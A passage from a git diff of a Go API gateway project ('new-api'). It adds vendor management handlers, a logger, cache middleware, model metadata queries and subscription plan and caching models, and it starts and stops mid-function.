+		return
+	}
+	v, err := model.GetVendorByID(id)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	common.ApiSuccess(c, v)
+}
+
+// CreateVendorMeta 新建供应商
+func CreateVendorMeta(c *gin.Context) {
+	var v model.Vendor
+	if err := c.ShouldBindJSON(&v); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if v.Name == "" {
+		common.ApiErrorMsg(c, "供应商名称不能为空")
+		return
+	}
+	// 创建前先检查名称
+	if dup, err := model.IsVendorNameDuplicated(0, v.Name); err != nil {
+		common.ApiError(c, err)
+		return
+	} else if dup {
+		common.ApiErrorMsg(c, "供应商名称已存在")
+		return
+	}
+
+	if err := v.Insert(); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	common.ApiSuccess(c, &v)
+}
+
+// UpdateVendorMeta 更新供应商
+func UpdateVendorMeta(c *gin.Context) {
+	var v model.Vendor
+	if err := c.ShouldBindJSON(&v); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if v.Id == 0 {
+		common.ApiErrorMsg(c, "缺少供应商 ID")
+		return
+	}
+	// 名称冲突检查
+	if dup, err := model.IsVendorNameDuplicated(v.Id, v.Name); err != nil {
+		common.ApiError(c, err)
+		return
+	} else if dup {
+		common.ApiErrorMsg(c, "供应商名称已存在")
+		return
+	}
+
+	if err := v.Update(); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	common.ApiSuccess(c, &v)
+}
+
+// DeleteVendorMeta 删除供应商
+func DeleteVendorMeta(c *gin.Context) {
+	idStr := c.Param("id")
+	id, err := strconv.Atoi(idStr)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if err := model.DB.Delete(&model.Vendor{}, id).Error; err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	common.ApiSuccess(c, nil)
+}
diff --git a/new-api/docker-compose.local.yml b/new-api/docker-compose.local.yml
new file mode 100644
index 0000000..cbde737
--- /dev/null
+++ b/new-api/docker-compose.local.yml
@@ -0,0 +1,4 @@
+services:
+  new-api:
+    ports:
+      - "3001:3000"
diff --git a/new-api/dto/gemini_isstream_test.go b/new-api/dto/gemini_isstream_test.go
new file mode 100644
index 0000000..ecd461b
--- /dev/null
+++ b/new-api/dto/gemini_isstream_test.go
@@ -0,0 +1,73 @@
+package dto
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"testing"
+
+	"github.com/gin-gonic/gin"
+	"github.com/stretchr/testify/assert"
+)
+
+func TestGeminiChatRequest_IsStream(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	tests := []struct {
+		name     string
+		path     string
+		query    string
+		expected bool
+	}{
+		{
+			name:     "streamGenerateContent without alt=sse",
+			path:     "/v1beta/models/gemini-2.0-flash:streamGenerateContent",
+			query:    "key=sk-xxx",
+			expected: true,
+		},
+		{
+			name:     "streamGenerateContent with alt=sse",
+			path:     "/v1beta/models/gemini-2.0-flash:streamGenerateContent",
+			query:    "alt=sse&key=sk-xxx",
+			expected: true,
+		},
+		{
+			name:     "generateContent without alt=sse",
+			path:     "/v1beta/models/gemini-2.0-flash:generateContent",
+			query:    "key=sk-xxx",
+			expected: false,
+		},
+		{
+			name:     "generateContent with alt=sse",
+			path:     "/v1beta/models/gemini-2.0-flash:generateContent",
+			query:    "alt=sse",
+			expected: true,
+		},
+		{
+			name:     "GenerateContent capitalized",
+			path:     "/v1beta/models/gemini-2.0-flash:GenerateContent",
+			query:    "key=sk-xxx",
+			expected: false,
+		},
+		{
+			name:     "embedding path",
+			path:     "/v1beta/models/gemini-2.0-flash:embedContent",
+			query:    "",
+			expected: false,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			w := httptest.NewRecorder()
+			c, _ := gin.CreateTestContext(w)
+			url := tt.path
+			if tt.query != "" {
+				url += "?" + tt.query
+			}
+			c.Request, _ = http.NewRequest("POST", url, nil)
+
+			req := &GeminiChatRequest{}
+			assert.Equal(t, tt.expected, req.IsStream(c))
+		})
+	}
+}
diff --git a/new-api/logger/logger.go b/new-api/logger/logger.go
new file mode 100644
index 0000000..7b0c82d
--- /dev/null
+++ b/new-api/logger/logger.go
@@ -0,0 +1,181 @@
+package logger
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"log"
+	"os"
+	"path/filepath"
+	"sync"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/setting/operation_setting"
+
+	"github.com/bytedance/gopkg/util/gopool"
+	"github.com/gin-gonic/gin"
+)
+
+const (
+	loggerINFO  = "INFO"
+	loggerWarn  = "WARN"
+	loggerError = "ERR"
+	loggerDebug = "DEBUG"
+)
+
+const maxLogCount = 1000000
+
+var logCount int
+var setupLogLock sync.Mutex
+var setupLogWorking bool
+var currentLogPath string
+var currentLogPathMu sync.RWMutex
+var currentLogFile *os.File
+
+func GetCurrentLogPath() string {
+	currentLogPathMu.RLock()
+	defer currentLogPathMu.RUnlock()
+	return currentLogPath
+}
+
+func SetupLogger() {
+	defer func() {
+		setupLogWorking = false
+	}()
+	if *common.LogDir != "" {
+		ok := setupLogLock.TryLock()
+		if !ok {
+			log.Println("setup log is already working")
+			return
+		}
+		defer func() {
+			setupLogLock.Unlock()
+		}()
+		logPath := filepath.Join(*common.LogDir, fmt.Sprintf("oneapi-%s.log", time.Now().Format("20060102150405")))
+		fd, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
+		if err != nil {
+			log.Fatal("failed to open log file")
+		}
+		currentLogPathMu.Lock()
+		oldFile := currentLogFile
+		currentLogPath = logPath
+		currentLogFile = fd
+		currentLogPathMu.Unlock()
+
+		common.LogWriterMu.Lock()
+		gin.DefaultWriter = io.MultiWriter(os.Stdout, fd)
+		gin.DefaultErrorWriter = io.MultiWriter(os.Stderr, fd)
+		if oldFile != nil {
+			_ = oldFile.Close()
+		}
+		common.LogWriterMu.Unlock()
+	}
+}
+
+func LogInfo(ctx context.Context, msg string) {
+	logHelper(ctx, loggerINFO, msg)
+}
+
+func LogWarn(ctx context.Context, msg string) {
+	logHelper(ctx, loggerWarn, msg)
+}
+
+func LogError(ctx context.Context, msg string) {
+	logHelper(ctx, loggerError, msg)
+}
+
+func LogDebug(ctx context.Context, msg string, args ...any) {
+	if common.DebugEnabled {
+		if len(args) > 0 {
+			msg = fmt.Sprintf(msg, args...)
+		}
+		logHelper(ctx, loggerDebug, msg)
+	}
+}
+
+func logHelper(ctx context.Context, level string, msg string) {
+	id := ctx.Value(common.RequestIdKey)
+	if id == nil {
+		id = "SYSTEM"
+	}
+	now := time.Now()
+	common.LogWriterMu.RLock()
+	writer := gin.DefaultErrorWriter
+	if level == loggerINFO {
+		writer = gin.DefaultWriter
+	}
+	_, _ = fmt.Fprintf(writer, "[%s] %v | %s | %s \n", level, now.Format("2006/01/02 - 15:04:05"), id, msg)
+	common.LogWriterMu.RUnlock()
+	logCount++ // we don't need accurate count, so no lock here
+	if logCount > maxLogCount && !setupLogWorking {
+		logCount = 0
+		setupLogWorking = true
+		gopool.Go(func() {
+			SetupLogger()
+		})
+	}
+}
+
+func LogQuota(quota int) string {
+	// 新逻辑：根据额度展示类型输出
+	q := float64(quota)
+	switch operation_setting.GetQuotaDisplayType() {
+	case operation_setting.QuotaDisplayTypeCNY:
+		usd := q / common.QuotaPerUnit
+		cny := usd * operation_setting.USDExchangeRate
+		return fmt.Sprintf("¥%.6f 额度", cny)
+	case operation_setting.QuotaDisplayTypeCustom:
+		usd := q / common.QuotaPerUnit
+		rate := operation_setting.GetGeneralSetting().CustomCurrencyExchangeRate
+		symbol := operation_setting.GetGeneralSetting().CustomCurrencySymbol
+		if symbol == "" {
+			symbol = "¤"
+		}
+		if rate <= 0 {
+			rate = 1
+		}
+		v := usd * rate
+		return fmt.Sprintf("%s%.6f 额度", symbol, v)
+	case operation_setting.QuotaDisplayTypeTokens:
+		return fmt.Sprintf("%d 点额度", quota)
+	default: // USD
+		return fmt.Sprintf("＄%.6f 额度", q/common.QuotaPerUnit)
+	}
+}
+
+func FormatQuota(quota int) string {
+	q := float64(quota)
+	switch operation_setting.GetQuotaDisplayType() {
+	case operation_setting.QuotaDisplayTypeCNY:
+		usd := q / common.QuotaPerUnit
+		cny := usd * operation_setting.USDExchangeRate
+		return fmt.Sprintf("¥%.6f", cny)
+	case operation_setting.QuotaDisplayTypeCustom:
+		usd := q / common.QuotaPerUnit
+		rate := operation_setting.GetGeneralSetting().CustomCurrencyExchangeRate
+		symbol := operation_setting.GetGeneralSetting().CustomCurrencySymbol
+		if symbol == "" {
+			symbol = "¤"
+		}
+		if rate <= 0 {
+			rate = 1
+		}
+		v := usd * rate
+		return fmt.Sprintf("%s%.6f", symbol, v)
+	case operation_setting.QuotaDisplayTypeTokens:
+		return fmt.Sprintf("%d", quota)
+	default:
+		return fmt.Sprintf("＄%.6f", q/common.QuotaPerUnit)
+	}
+}
+
+// LogJson 仅供测试使用 only for test
+func LogJson(ctx context.Context, msg string, obj any) {
+	jsonStr, err := common.Marshal(obj)
+	if err != nil {
+		LogError(ctx, fmt.Sprintf("json marshal failed: %s", err.Error()))
+		return
+	}
+	LogDebug(ctx, fmt.Sprintf("%s | %s", msg, string(jsonStr)))
+}
diff --git a/new-api/middleware/cache.go b/new-api/middleware/cache.go
new file mode 100644
index 0000000..1a9dff8
--- /dev/null
+++ b/new-api/middleware/cache.go
@@ -0,0 +1,17 @@
+package middleware
+
+import (
+	"github.com/gin-gonic/gin"
+)
+
+func Cache() func(c *gin.Context) {
+	return func(c *gin.Context) {
+		if c.Request.RequestURI == "/" {
+			c.Header("Cache-Control", "no-cache")
+		} else {
+			c.Header("Cache-Control", "max-age=604800") // one week
+		}
+		c.Header("Cache-Version", "b688f2fb5be447c25e5aa3bd063087a83db32a288bf6a4f35f2d8db310e40b14")
+		c.Next()
+	}
+}
diff --git a/new-api/model/model_meta.go b/new-api/model/model_meta.go
new file mode 100644
index 0000000..860b960
--- /dev/null
+++ b/new-api/model/model_meta.go
@@ -0,0 +1,160 @@
+package model
+
+import (
+	"strconv"
+
+	"github.com/QuantumNous/new-api/common"
+
+	"gorm.io/gorm"
+)
+
+const (
+	NameRuleExact = iota
+	NameRulePrefix
+	NameRuleContains
+	NameRuleSuffix
+)
+
+type BoundChannel struct {
+	Name string `json:"name"`
+	Type int    `json:"type"`
+}
+
+type Model struct {
+	Id           int            `json:"id"`
+	ModelName    string         `json:"model_name" gorm:"size:128;not null;uniqueIndex:uk_model_name_delete_at,priority:1"`
+	Description  string         `json:"description,omitempty" gorm:"type:text"`
+	Icon         string         `json:"icon,omitempty" gorm:"type:varchar(128)"`
+	Tags         string         `json:"tags,omitempty" gorm:"type:varchar(255)"`
+	VendorID     int            `json:"vendor_id,omitempty" gorm:"index"`
+	Endpoints    string         `json:"endpoints,omitempty" gorm:"type:text"`
+	Status       int            `json:"status" gorm:"default:1"`
+	SyncOfficial int            `json:"sync_official" gorm:"default:1"`
+	CreatedTime  int64          `json:"created_time" gorm:"bigint"`
+	UpdatedTime  int64          `json:"updated_time" gorm:"bigint"`
+	DeletedAt    gorm.DeletedAt `json:"-" gorm:"index;uniqueIndex:uk_model_name_delete_at,priority:2"`
+
+	BoundChannels []BoundChannel `json:"bound_channels,omitempty" gorm:"-"`
+	EnableGroups  []string       `json:"enable_groups,omitempty" gorm:"-"`
+	QuotaTypes    []int          `json:"quota_types,omitempty" gorm:"-"`
+	NameRule      int            `json:"name_rule" gorm:"default:0"`
+
+	MatchedModels []string `json:"matched_models,omitempty" gorm:"-"`
+	MatchedCount  int      `json:"matched_count,omitempty" gorm:"-"`
+}
+
+func (mi *Model) Insert() error {
+	now := common.GetTimestamp()
+	mi.CreatedTime = now
+	mi.UpdatedTime = now
+
+	// 保存原始值（因为 Create 后可能被 GORM 的 default 标签覆盖为 1）
+	originalStatus := mi.Status
+	originalSyncOfficial := mi.SyncOfficial
+
+	// 先创建记录（GORM 会对零值字段应用默认值）
+	if err := DB.Create(mi).Error; err != nil {
+		return err
+	}
+
+	// 使用保存的原始值进行更新，确保零值能正确保存
+	return DB.Model(&Model{}).Where("id = ?", mi.Id).Updates(map[string]interface{}{
+		"status":        originalStatus,
+		"sync_official": originalSyncOfficial,
+	}).Error
+}
+
+func IsModelNameDuplicated(id int, name string) (bool, error) {
+	if name == "" {
+		return false, nil
+	}
+	var cnt int64
+	err := DB.Model(&Model{}).Where("model_name = ? AND id <> ?", name, id).Count(&cnt).Error
+	return cnt > 0, err
+}
+
+func (mi *Model) Update() error {
+	mi.UpdatedTime = common.GetTimestamp()
+	// 使用 Select 强制更新所有字段，包括零值
+	return DB.Model(&Model{}).Where("id = ?", mi.Id).
+		Select("model_name", "description", "icon", "tags", "vendor_id", "endpoints", "status", "sync_official", "name_rule", "updated_time").
+		Updates(mi).Error
+}
+
+func (mi *Model) Delete() error {
+	return DB.Delete(mi).Error
+}
+
+func GetVendorModelCounts() (map[int64]int64, error) {
+	var stats []struct {
+		VendorID int64
+		Count    int64
+	}
+	if err := DB.Model(&Model{}).
+		Select("vendor_id as vendor_id, count(*) as count").
+		Group("vendor_id").
+		Scan(&stats).Error; err != nil {
+		return nil, err
+	}
+	m := make(map[int64]int64, len(stats))
+	for _, s := range stats {
+		m[s.VendorID] = s.Count
+	}
+	return m, nil
+}
+
+func GetAllModels(offset int, limit int) ([]*Model, error) {
+	var models []*Model
+	err := DB.Order("id DESC").Offset(offset).Limit(limit).Find(&models).Error
+	return models, err
+}
+
+func GetBoundChannelsByModelsMap(modelNames []string) (map[string][]BoundChannel, error) {
+	result := make(map[string][]BoundChannel)
+	if len(modelNames) == 0 {
+		return result, nil
+	}
+	type row struct {
+		Model string
+		Name  string
+		Type  int
+	}
+	var rows []row
+	err := DB.Table("channels").
+		Select("abilities.model as model, channels.name as name, channels.type as type").
+		Joins("JOIN abilities ON abilities.channel_id = channels.id").
+		Where("abilities.model IN ? AND abilities.enabled = ?", modelNames, true).
+		Distinct().
+		Scan(&rows).Error
+	if err != nil {
+		return nil, err
+	}
+	for _, r := range rows {
+		result[r.Model] = append(result[r.Model], BoundChannel{Name: r.Name, Type: r.Type})
+	}
+	return result, nil
+}
+
+func SearchModels(keyword string, vendor string, offset int, limit int) ([]*Model, int64, error) {
+	var models []*Model
+	db := DB.Model(&Model{})
+	if keyword != "" {
+		like := "%" + keyword + "%"
+		db = db.Where("model_name LIKE ? OR description LIKE ? OR tags LIKE ?", like, like, like)
+	}
+	if vendor != "" {
+		if vid, err := strconv.Atoi(vendor); err == nil {
+			db = db.Where("models.vendor_id = ?", vid)
+		} else {
+			db = db.Joins("JOIN vendors ON vendors.id = models.vendor_id").Where("vendors.name LIKE ?", "%"+vendor+"%")
+		}
+	}
+	var total int64
+	if err := db.Count(&total).Error; err != nil {
+		return nil, 0, err
+	}
+	if err := db.Order("models.id DESC").Offset(offset).Limit(limit).Find(&models).Error; err != nil {
+		return nil, 0, err
+	}
+	return models, total, nil
+}
diff --git a/new-api/model/subscription.go b/new-api/model/subscription.go
new file mode 100644
index 0000000..da8fdae
--- /dev/null
+++ b/new-api/model/subscription.go
@@ -0,0 +1,1206 @@
+package model
+
+import (
+	"errors"
+	"fmt"
+	"strconv"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/pkg/cachex"
+	"github.com/samber/hot"
+	"gorm.io/gorm"
+)
+
+// Subscription duration units
+const (
+	SubscriptionDurationYear   = "year"
+	SubscriptionDurationMonth  = "month"
+	SubscriptionDurationDay    = "day"
+	SubscriptionDurationHour   = "hour"
+	SubscriptionDurationCustom = "custom"
+)
+
+// Subscription quota reset period
+const (
+	SubscriptionResetNever   = "never"
+	SubscriptionResetDaily   = "daily"
+	SubscriptionResetWeekly  = "weekly"
+	SubscriptionResetMonthly = "monthly"
+	SubscriptionResetCustom  = "custom"
+)
+
+var (
+	ErrSubscriptionOrderNotFound      = errors.New("subscription order not found")
+	ErrSubscriptionOrderStatusInvalid = errors.New("subscription order status invalid")
+)
+
+const (
+	subscriptionPlanCacheNamespace     = "new-api:subscription_plan:v1"
+	subscriptionPlanInfoCacheNamespace = "new-api:subscription_plan_info:v1"
+)
+
+var (
+	subscriptionPlanCacheOnce     sync.Once
+	subscriptionPlanInfoCacheOnce sync.Once
+
+	subscriptionPlanCache     *cachex.HybridCache[SubscriptionPlan]
+	subscriptionPlanInfoCache *cachex.HybridCache[SubscriptionPlanInfo]
+)
+
+func subscriptionPlanCacheTTL() time.Duration {
+	ttlSeconds := common.GetEnvOrDefault("SUBSCRIPTION_PLAN_CACHE_TTL", 300)
+	if ttlSeconds <= 0 {
+		ttlSeconds = 300
+	}
+	return time.Duration(ttlSeconds) * time.Second
+}
+
+func subscriptionPlanInfoCacheTTL() time.Duration {
+	ttlSeconds := common.GetEnvOrDefault("SUBSCRIPTION_PLAN_INFO_CACHE_TTL", 120)
+	if ttlSeconds <= 0 {
+		ttlSeconds = 120
+	}
+	return time.Duration(ttlSeconds) * time.Second
+}
+
+func subscriptionPlanCacheCapacity() int {
+	capacity := common.GetEnvOrDefault("SUBSCRIPTION_PLAN_CACHE_CAP", 5000)
+	if capacity <= 0 {
+		capacity = 5000
+	}
+	return capacity
+}
+
+func subscriptionPlanInfoCacheCapacity() int {
+	capacity := common.GetEnvOrDefault("SUBSCRIPTION_PLAN_INFO_CACHE_CAP", 10000)
+	if capacity <= 0 {
+		capacity = 10000
+	}
+	return capacity
+}
+
+func getSubscriptionPlanCache() *cachex.HybridCache[SubscriptionPlan] {
+	subscriptionPlanCacheOnce.Do(func() {
+		ttl := subscriptionPlanCacheTTL()
+		subscriptionPlanCache = cachex.NewHybridCache[SubscriptionPlan](cachex.HybridCacheConfig[SubscriptionPlan]{
+			Namespace: cachex.Namespace(subscriptionPlanCacheNamespace),
+			Redis:     common.RDB,
+			RedisEnabled: func() bool {
+				return common.RedisEnabled && common.RDB != nil
+			},
+			RedisCodec: cachex.JSONCodec[SubscriptionPlan]{},
+			Memory: func() *hot.HotCache[string, SubscriptionPlan] {
+				return hot.NewHotCache[string, SubscriptionPlan](hot.LRU, subscriptionPlanCacheCapacity()).
+					WithTTL(ttl).
+					WithJanitor().
+					Build()
+			},
+		})
+	})
+	return subscriptionPlanCache
+}
+
+func getSubscriptionPlanInfoCache() *cachex.HybridCache[SubscriptionPlanInfo] {
+	subscriptionPlanInfoCacheOnce.Do(func() {
+		ttl := subscriptionPlanInfoCacheTTL()
+		subscriptionPlanInfoCache = cachex.NewHybridCache[SubscriptionPlanInfo](cachex.HybridCacheConfig[SubscriptionPlanInfo]{
+			Namespace: cachex.Namespace(subscriptionPlanInfoCacheNamespace),
+			Redis:     common.RDB,
+			RedisEnabled: func() bool {
+				return common.RedisEnabled && common.RDB != nil
+			},
+			RedisCodec: cachex.JSONCodec[SubscriptionPlanInfo]{},
+			Memory: func() *hot.HotCache[string, SubscriptionPlanInfo] {
+				return hot.NewHotCache[string, SubscriptionPlanInfo](hot.LRU, subscriptionPlanInfoCacheCapacity()).
+					WithTTL(ttl).
+					WithJanitor().
+					Build()
+			},
+		})
+	})
+	return subscriptionPlanInfoCache
+}
+
+func subscriptionPlanCacheKey(id int) string {
+	if id <= 0 {
+		return ""
+	}
+	return strconv.Itoa(id)
+}
+
+func InvalidateSubscriptionPlanCache(planId int) {
+	if planId <= 0 {
+		return
+	}
+	cache := getSubscriptionPlanCache()
+	_, _ = cache.DeleteMany([]string{subscriptionPlanCacheKey(planId)})
+	infoCache := getSubscriptionPlanInfoCache()
+	_ = infoCache.Purge()
+}
+
+// Subscription plan
+type SubscriptionPlan struct {
+	Id int `json:"id"`
+
+	Title    string `json:"title" gorm:"type:varchar(128);not null"`
+	Subtitle string `json:"subtitle" gorm:"type:varchar(255);default:''"`
+
+	// Display money amount (follow existing code style: float64 for money)
+	PriceAmount float64 `json:"price_amount" gorm:"type:decimal(10,6);not null;default:0"`
+	Currency    string  `json:"currency" gorm:"type:varchar(8);not null;default:'USD'"`
+
+	DurationUnit  string `json:"duration_unit" gorm:"type:varchar(16);not null;default:'month'"`
+	DurationValue int    `json:"duration_value" gorm:"type:int;not null;default:1"`
+	CustomSeconds int64  `json:"custom_seconds" gorm:"type:bigint;not null;default:0"`
+
+	Enabled   bool `json:"enabled" gorm:"default:true"`
+	SortOrder int  `json:"sort_order" gorm:"type:int;default:0"`
+
+	StripePriceId  string `json:"stripe_price_id" gorm:"type:varchar(128);default:''"`
+	CreemProductId string `json:"creem_product_id" gorm:"type:varchar(128);default:''"`
+
+	// Max purchases per user (0 = unlimited)
+	MaxPurchasePerUser int `json:"max_purchase_per_user" gorm:"type:int;default:0"`
+
+	// Upgrade user group after purchase (empty = no change)
+	UpgradeGroup string `json:"upgrade_group" gorm:"type:varchar(64);default:''"`
+
+	// Total quota (amount in quota units, 0 = unlimited)
+	TotalAmount int64 `json:"total_amount" gorm:"type:bigint;not null;default:0"`
+
+	// Quota reset period for plan
+	QuotaResetPeriod        string `json:"quota_reset_period" gorm:"type:varchar(16);default:'never'"`
+	QuotaResetCustomSeconds int64  `json:"quota_reset_custom_seconds" gorm:"type:bigint;default:0"`
+
+	CreatedAt int64 `json:"created_at" gorm:"bigint"`
+	UpdatedAt int64 `json:"updated_at" gorm:"bigint"`
+}
+
+func (p *SubscriptionPlan) BeforeCreate(tx *gorm.DB) error {
+	now := common.GetTimestamp()
+	p.CreatedAt = now
+	p.UpdatedAt = now
+	return nil
+}
+
+func (p *SubscriptionPlan) BeforeUpdate(tx *gorm.DB) error {
+	p.UpdatedAt = common.GetTimestamp()
+	return nil
+}
+
+// Subscription order (payment -> webhook -> create UserSubscription)
+type SubscriptionOrder struct {
+	Id     int     `json:"id"`
+	UserId int     `json:"user_id" gorm:"index"`
+	PlanId int     `json:"plan_id" gorm:"index"`
+	Money  float64 `json:"money"`
+
+	TradeNo         string `json:"trade_no" gorm:"unique;type:varchar(255);index"`
+	PaymentMethod   string `json:"payment_method" gorm:"type:varchar(50)"`
+	PaymentProvider string `json:"payment_provider" gorm:"type:varchar(50);default:''"`
+	Status          string `json:"status"`
+	CreateTime      int64  `json:"create_time"`
+	CompleteTime    int64  `json:"complete_time"`
+
+	ProviderPayload string `json:"provider_payload" gorm:"type:text"`
+}
+
+func (o *SubscriptionOrder) Insert() error {
+	if o.CreateTime == 0 {
+		o.CreateTime = common.GetTimestamp()
+	}
+	return DB.Create(o).Error
+}
+
+func (o *SubscriptionOrder) Update() error {
+	return DB.Save(o).Error
+}
+
+func GetSubscriptionOrderByTradeNo(tradeNo string) *SubscriptionOrder {
+	if tradeNo == "" {
+		return nil
+	}
+	var order SubscriptionOrder
+	if err := DB.Where("trade_no = ?", tradeNo).First(&order).Error; err != nil {
+		return nil
+	}
+	return &order
+}
+
+// User subscription instance
+type UserSubscription struct {
+	Id     int `json:"id"`
+	UserId int `json:"user_id" gorm:"index;index:idx_user_sub_active,priority:1"`
+	PlanId int `json:"plan_id" gorm:"index"`
+
+	AmountTotal int64 `json:"amount_total" gorm:"type:bigint;not null;default:0"`
+	AmountUsed  int64 `json:"amount_used" gorm:"type:bigint;not null;default:0"`
+
+	StartTime int64  `json:"start_time" gorm:"bigint"`
+	EndTime   int64  `json:"end_time" gorm:"bigint;index;index:idx_user_sub_active,priority:3"`
+	Status    string `json:"status" gorm:"type:varchar(32);index;index:idx_user_sub_active,priority:2"` // active/expired/cancelled
+
+	Source string `json:"source" gorm:"type:varchar(32);default:'order'"` // order/admin
+
+	LastResetTime int64 `json:"last_reset_time" gorm:"type:bigint;default:0"`
+	NextResetTime int64 `json:"next_reset_time" gorm:"type:bigint;default:0;index"`
+
+	UpgradeGroup  string `json:"upgrade_group" gorm:"type:varchar(64);default:''"`
+	PrevUserGroup string `json:"prev_user_group" gorm:"type:varchar(64);default:''"`
+
+	CreatedAt int64 `json:"created_at" gorm:"bigint"`
+	UpdatedAt int64 `json:"updated_at" gorm:"bigint"`
+}
+
+func (s *UserSubscription) BeforeCreate(tx *gorm.DB) error {
+	now := common.GetTimestamp()
+	s.CreatedAt = now
+	s.UpdatedAt = now
+	return nil
+}
+
+func (s *UserSubscription) BeforeUpdate(tx *gorm.DB) error {
+	s.UpdatedAt = common.GetTimestamp()
+	return nil
+}
+
+type SubscriptionSummary struct {
+	Subscription *UserSubscription `json:"subscription"`
+}
+
+func calcPlanEndTime(start time.Time, plan *SubscriptionPlan) (int64, error) {
+	if plan == nil {
+		return 0, errors.New("plan is nil")
+	}
+	if plan.DurationValue <= 0 && plan.DurationUnit != SubscriptionDurationCustom {
+		return 0, errors.New("duration_value must be > 0")
+	}
+	switch plan.DurationUnit {
+	case SubscriptionDurationYear:
+		return start.AddDate(plan.DurationValue, 0, 0).Unix(), nil
+	case SubscriptionDurationMonth:
+		return start.AddDate(0, plan.DurationValue, 0).Unix(), nil
+	case SubscriptionDurationDay:
+		return start.Add(time.Duration(plan.DurationValue) * 24 * time.Hour).Unix(), nil
+	case SubscriptionDurationHour:
+		return start.Add(time.Duration(plan.DurationValue) * time.Hour).Unix(), nil
+	case SubscriptionDurationCustom:
+		if plan.CustomSeconds <= 0 {
+			return 0, errors.New("custom_seconds must be > 0")
+		}
+		return start.Add(time.Duration(plan.CustomSeconds) * time.Second).Unix(), nil
+	default:
+		return 0, fmt.Errorf("invalid duration_unit: %s", plan.DurationUnit)
+	}
+}
+
+func NormalizeResetPeriod(period string) string {
+	switch strings.TrimSpace(period) {
+	case SubscriptionResetDaily, SubscriptionResetWeekly, SubscriptionResetMonthly, SubscriptionResetCustom:
+		return strings.TrimSpace(period)
+	default:
+		return SubscriptionResetNever
+	}
+}
+
+func calcNextResetTime(base time.Time, plan *SubscriptionPlan, endUnix int64) int64 {
+	if plan == nil {
+		return 0
+	}
+	period := NormalizeResetPeriod(plan.QuotaResetPeriod)
+	if period == SubscriptionResetNever {
+		return 0
+	}
+	var next time.Time
+	switch period {
+	case SubscriptionResetDaily:
+		next = time.Date(base.Year(), base.Month(), base.Day(), 0, 0, 0, 0, base.Location()).
+			AddDate(0, 0, 1)
+	case SubscriptionResetWeekly:
+		// Align to next Monday 00:00
+		weekday := int(base.Weekday()) // Sunday=0
+		// Convert to Monday=1..Sunday=7
+		if weekday == 0 {
+			weekday = 7
+		}
+		daysUntil := 8 - weekday
+		next = time.Date(base.Year(), base.Month(), base.Day(), 0, 0, 0, 0, base.Location()).
+			AddDate(0, 0, daysUntil)
+	case SubscriptionResetMonthly:
+		// Align to first day of next month 00:00
+		next = time.Date(base.Year(), base.Month(), 1, 0, 0, 0, 0, base.Location()).
+			AddDate(0, 1, 0)
+	case SubscriptionResetCustom:
+		if plan.QuotaResetCustomSeconds <= 0 {
+			return 0
+		}
+		next = base.Add(time.Duration(plan.QuotaResetCustomSeconds) * time.Second)
+	default:
+		return 0
+	}
+	if endUnix > 0 && next.Unix() > endUnix {
+		return 0
+	}
+	return next.Unix()
+}
+
+func GetSubscriptionPlanById(id int) (*SubscriptionPlan, error) {
+	return getSubscriptionPlanByIdTx(nil, id)
+}
+
+func getSubscriptionPlanByIdTx(tx *gorm.DB, id int) (*SubscriptionPlan, error) {
+	if id <= 0 {
+		return nil, errors.New("invalid plan id")
+	}
+	key := subscriptionPlanCacheKey(id)
+	if key != "" {
+		if cached, found, err := getSubscriptionPlanCache().Get(key); err == nil && found {
+			return &cached, nil
+		}
+	}
+	var plan SubscriptionPlan
+	query := DB
+	if tx != nil {
+		query = tx
+	}
+	if err := query.Where("id = ?", id).First(&plan).Error; err != nil {
+		return nil, err
+	}
+	_ = getSubscriptionPlanCache().SetWithTTL(key, plan, subscriptionPlanCacheTTL())
+	return &plan, nil
+}
+
+func CountUserSubscriptionsByPlan(userId int, planId int) (int64, error) {
+	if userId <= 0 || planId <= 0 {
+		return 0, errors.New("invalid userId or planId")
+	}
+	var count int64
+	if err := DB.Model(&UserSubscription{}).
+		Where("user_id = ? AND plan_id = ?", userId, planId).
+		Count(&count).Error; err != nil {
+		return 0, err
+	}
+	return count, nil
+}
+
+func getUserGroupByIdTx(tx *gorm.DB, userId int) (string, error) {
+	if userId <= 0 {
+		return "", errors.New("invalid userId")
+	}
+	if tx == nil {
+		tx = DB
+	}
+	var group string
+	if err := tx.Model(&User{}).Where("id = ?", userId).Select(commonGroupCol).Find(&group).Error; err != nil {
+		return "", err
+	}
+	return group, nil
+}
+
+func downgradeUserGroupForSubscriptionTx(tx *gorm.DB, sub *UserSubscription, now int64) (string, error) {
+	if tx == nil || sub == nil {
+		return "", errors.New("invalid downgrade args")
+	}
+	upgradeGroup := strings.TrimSpace(sub.UpgradeGroup)
+	if upgradeGroup == "" {
+		return "", nil
+	}
+	currentGroup, err := getUserGroupByIdTx(tx, sub.UserId)
+	if err != nil {
+		return "", err
+	}
+	if currentGroup != upgradeGroup {
+		return "", nil
+	}
+	var activeSub UserSubscription
+	activeQuery := tx.Where("user_id = ? AND status = ? AND end_time > ? AND id <> ? AND upgrade_group <> ''",
+		sub.UserId, "active", now, sub.Id).
+		Order("end_time desc, id desc").
+		Limit(1).
+		Find(&activeSub)
+	if activeQuery.Error == nil && activeQuery.RowsAffected > 0 {
+		return "", nil
+	}
+	prevGroup := strings.TrimSpace(sub.PrevUserGroup)
+	if prevGroup == "" || prevGroup == currentGroup {
+		return "", nil
+	}
+	if err := tx.Model(&User{}).Where("id = ?", sub.UserId).
+		Update("group", prevGroup).Error; err != nil {
+		return "", err
+	}
+	return prevGroup, nil
+}
+
+func CreateUserSubscriptionFromPlanTx(tx *gorm.DB, userId int, plan *SubscriptionPlan, source string) (*UserSubscription, error) {
+	if tx == nil {
+		return nil, errors.New("tx is nil")
+	}
+	if plan == nil || plan.Id == 0 {
